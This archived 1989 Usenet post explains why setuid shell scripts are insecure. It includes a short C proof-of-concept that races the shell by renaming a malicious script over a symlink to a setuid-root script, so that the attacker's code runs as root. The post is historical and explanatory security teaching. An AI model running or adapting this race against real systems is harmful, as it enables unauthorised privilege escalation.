setuid scripts

Chris Torek chris at mimsy.umd.edu
Wed Oct 25 02:55:51 AEST 1989


In article <21256 at adm.BRL.MIL> danl at midget.towson.edu writes:
>Ok Chris, so I could be wrong (it certainly wouldn't be the first time),
>but please explain why.  How are they not secure (with proper planning)?
>And how are they any more secure if they are first run from a C program
>which exec's the shell?

I suppose there is no particular reason not to let this Abynissian
out of the carry-sack.  Here is the trick:

Given a setuid script---perhaps `/etc/backup', which makes a backup
of your disks---that is run by a shell (any of sh, csh, ksh, bash,
. . .) and the ability to make a link or symbolic link to the file,
the bad guy can write a program like this one:

	main()
	{

		switch (fork()) {
		case -1:
			perror("fork");	/* darn */
			exit(1);
			/*NOTREACHED*/
		case 0:
			nice(20);	/* run slowly */
			execl("/tmp/mylink", "/tmp/mylink", (char *)0);
			perror("execl(/tmp/mylink)");	/* never happens? */
			_exit(1);
			/*NOTREACHED*/
		}
		/* parent */
		delay();	/* give child time to execl() but no more */
		rename("/tmp/evilscript", "/tmp/mylink");
		/* and hope we beat the shell */
		exit(0);
	}

The desired (by Mr. Bad Guy) sequence of events is:

	0) The kernel is asked to exec /tmp/mylink.
	1) The kernel does a namei("/tmp/mylink") and comes up with
	   the inode for /etc/backup.  This inode says `setuid root'
	   (so we become root) and has first line `#! /bin/sh'.
	   The kernel iput()s the inode for /etc/backup, does a
	   namei("/bin/sh"), and comes up with an inode for /bin/sh.
	   This is a normal executable, so it starts /bin/sh with
	   argv[1] being "/tmp/mylink"---the name of the script to
	   be run.
	2) /bin/sh begins, but (due to low scheduling priority)
	   is suspended while badguy's main() is rescheduled and
	   continued.
	3) main() does a rename("/tmp/evilscript", "/tmp/mylink").
	   The kernel checks /tmp, determines that it is OK to
	   remove /tmp/mylink, does so, renames evilscript as mylink,
	   and returns.
	4) main() exits, and /bin/sh resumes.
	5) /bin/sh (still running setuid) opens /tmp/mylink and
	   reads and executes it, as root.

Unfortunately, in step 5, sh is reading the contents of /tmp/evilscript
rather than /etc/backup.
-- 
`They were supposed to be green.'
In-Real-Life: Chris Torek, Univ of MD Comp Sci Dept (+1 301 454 7163)
Domain:	chris at cs.umd.edu	Path:	uunet!mimsy!chris



More information about the Comp.unix.questions mailing list